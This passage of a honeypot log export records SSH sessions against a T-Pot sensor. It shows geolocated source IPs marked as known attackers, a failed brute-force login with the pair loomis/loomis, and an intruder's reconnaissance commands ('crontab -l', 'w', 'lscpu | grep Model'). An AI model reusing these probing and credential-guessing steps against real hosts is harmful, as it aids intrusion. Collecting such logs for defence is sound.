"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 38220, "dest_port": 22, "timestamp": "2021-09-20T12:06:27.562274", "@timestamp": "2021-09-20T12:06:27.562Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	BR
35155	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:06:27.321457+03	2021-09-20 15:15:02.88172+03	{"_id": "cAYZA3wBvYTbRNuEslp5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48238, "timestamp": "2021-09-20T12:06:27.321457", "@timestamp": "2021-09-20T12:06:27.321Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35157	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:27.95172+03	2021-09-20 15:15:02.884719+03	{"_id": "cwYZA3wBvYTbRNuEs1rp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:27.951720Z", "@timestamp": "2021-09-20T12:06:27.951Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35158	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:23.941274+03	2021-09-20 15:15:02.885691+03	{"_id": "OgYZA3wBvYTbRNuEpFpG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:23.941274Z", "@timestamp": "2021-09-20T12:06:23.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35159	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:23.941865+03	2021-09-20 15:15:02.886692+03	{"_id": "OwYZA3wBvYTbRNuEpFpG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:23.941865Z", "@timestamp": "2021-09-20T12:06:23.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35160	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:24.601806+03	2021-09-20 15:15:02.88869+03	{"_id": "RAYZA3wBvYTbRNuEqFow", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:24.601806Z", "@timestamp": "2021-09-20T12:06:24.601Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35161	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 15:06:24.904894+03	2021-09-20 15:15:02.889717+03	{"_id": "RQYZA3wBvYTbRNuEqFow", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c19ca68a5462", "@version": "1", "duration": 2.9919655323028564, "timestamp": "2021-09-20T12:06:24.904894Z", "@timestamp": "2021-09-20T12:06:24.904Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35162	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:24.965193+03	2021-09-20 15:15:02.890719+03	{"_id": "SgYZA3wBvYTbRNuEqFow", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "96.78.175.36", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3640260696411133, "duplicate": true, "timestamp": "2021-09-20T12:06:24.965193Z", "@timestamp": "2021-09-20T12:06:24.965Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35163	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:25.259218+03	2021-09-20 15:15:02.892691+03	{"_id": "SwYZA3wBvYTbRNuEqFow", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:25.259218Z", "@timestamp": "2021-09-20T12:06:25.259Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35164	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 15:06:24.936301+03	2021-09-20 15:15:02.89372+03	{"_id": "QwYZA3wBvYTbRNuEqFow", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 81.71.17.12:48742 (192.168.176.2:22) [session: 524510cb87d8]", "session": "524510cb87d8", "@version": "1", "protocol": "ssh", "src_port": 48742, "dest_port": 22, "timestamp": "2021-09-20T12:06:24.936301Z", "@timestamp": "2021-09-20T12:06:24.936Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35165	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 15:06:24.939065+03	2021-09-20 15:15:02.895719+03	{"_id": "RgYZA3wBvYTbRNuEqFow", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "524510cb87d8", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:06:24.939065Z", "@timestamp": "2021-09-20T12:06:24.939Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35166	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 15:06:25.26119+03	2021-09-20 15:15:02.896691+03	{"_id": "RwYZA3wBvYTbRNuEqFow", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "524510cb87d8", "@version": "1", "timestamp": "2021-09-20T12:06:25.261190Z", "@timestamp": "2021-09-20T12:06:25.261Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35167	81.71.17.12	109.199.241.180	Suricata	2021-09-20 15:06:25.219341+03	2021-09-20 15:15:02.89872+03	{"_id": "TAYZA3wBvYTbRNuEqVpO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "flow_id": 619046408092976, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48742, "dest_port": 22, "timestamp": "2021-09-20T12:06:25.219341Z", "@timestamp": "2021-09-20T12:06:25.219Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35173	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:28.640176+03	2021-09-20 15:15:02.906719+03	{"_id": "fAYZA3wBvYTbRNuEt1rW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:28.640176Z", "@timestamp": "2021-09-20T12:06:28.640Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35168	81.71.17.12	109.199.241.180	Fatt	2021-09-20 15:06:25.22525+03	2021-09-20 15:15:02.899719+03	{"_id": "TwYZA3wBvYTbRNuEqlpK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.17.12", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48742, "dest_port": 22, "timestamp": "2021-09-20T12:06:25.225250", "@timestamp": "2021-09-20T12:06:25.225Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35169	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:26.330719+03	2021-09-20 15:15:02.90072+03	{"_id": "UwYZA3wBvYTbRNuErFoX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "96.78.175.36", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3813755512237549, "duplicate": true, "timestamp": "2021-09-20T12:06:26.330719Z", "@timestamp": "2021-09-20T12:06:26.330Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35170	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 15:06:26.468013+03	2021-09-20 15:15:02.901719+03	{"_id": "VAYZA3wBvYTbRNuErFoX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.login.failed", "message": "login attempt [loomis/loomis] failed", "session": "524510cb87d8", "@version": "1", "password": "loomis", "username": "loomis", "timestamp": "2021-09-20T12:06:26.468013Z", "@timestamp": "2021-09-20T12:06:26.468Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35171	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 15:06:27.320355+03	2021-09-20 15:15:02.903723+03	{"_id": "XwYZA3wBvYTbRNuEsFoC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 119.29.153.168:48238 (192.168.176.2:22) [session: 3c29e2903913]", "session": "3c29e2903913", "@version": "1", "protocol": "ssh", "src_port": 48238, "dest_port": 22, "timestamp": "2021-09-20T12:06:27.320355Z", "@timestamp": "2021-09-20T12:06:27.320Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35172	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:06:27.32875+03	2021-09-20 15:15:02.905691+03	{"_id": "YQYZA3wBvYTbRNuEsFoC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 189.50.42.214:38220 (192.168.176.2:22) [session: 7a77cf6eee57]", "session": "7a77cf6eee57", "@version": "1", "protocol": 